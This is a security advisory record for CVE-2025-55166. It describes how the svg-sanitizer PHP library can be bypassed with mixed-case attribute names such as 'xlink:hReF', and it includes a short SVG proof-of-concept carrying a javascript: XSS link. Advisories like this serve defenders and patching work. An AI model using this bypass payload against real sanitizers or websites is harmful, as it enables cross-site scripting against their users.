{"id":"CVE-2025-55166","aliases":["GHSA-22wq-q86m-83fh"],"url":"https://o3.security/vulnerability/CVE-2025-55166","summary":"svg-sanitizer By-Passing Attribute Sanitization","details":"#### Problem\n\nThe sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains.\n\n#### Proof-of-concept\n_provided by azizk_\n\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"100\" height=\"100\">\n  <a xlink:hReF=\"javascript:alert(document.domain)\">\n    <rect width=\"100\" height=\"50\" fill=\"red\"></rect>\n    <text x=\"50\" y=\"30\" text-anchor=\"middle\" fill=\"white\">Click me</text>\n  </a>\n</svg>\n```\n\n#### Credits\n\nThe mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk <medazizknani@gmail.com>`.","published":"2025-08-12T16:25:17.220Z","modified":"2026-10-28T02:30:29.021663532Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"enshrined/svg-sanitize","fixedVersion":"0.22.0"}],"fix":{"url":"https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1","label":"darylldoyle/svg-sanitizer@5a0a1ea"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55166.json"},{"type":"ADVISORY","url":"https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-22wq-q86m-83fh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55166"},{"type":"FIX","url":"https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/commit/0afa95ea74be155a7bcd6c6fb60c276c39984500"},{"type":"PACKAGE","url":"https://github.com/darylldoyle/svg-sanitizer"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481"},{"type":"WEB","url":"https://github.com/darylldoyle/svg-sanitizer/releases/tag/0.22.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:29.021663532Z"}}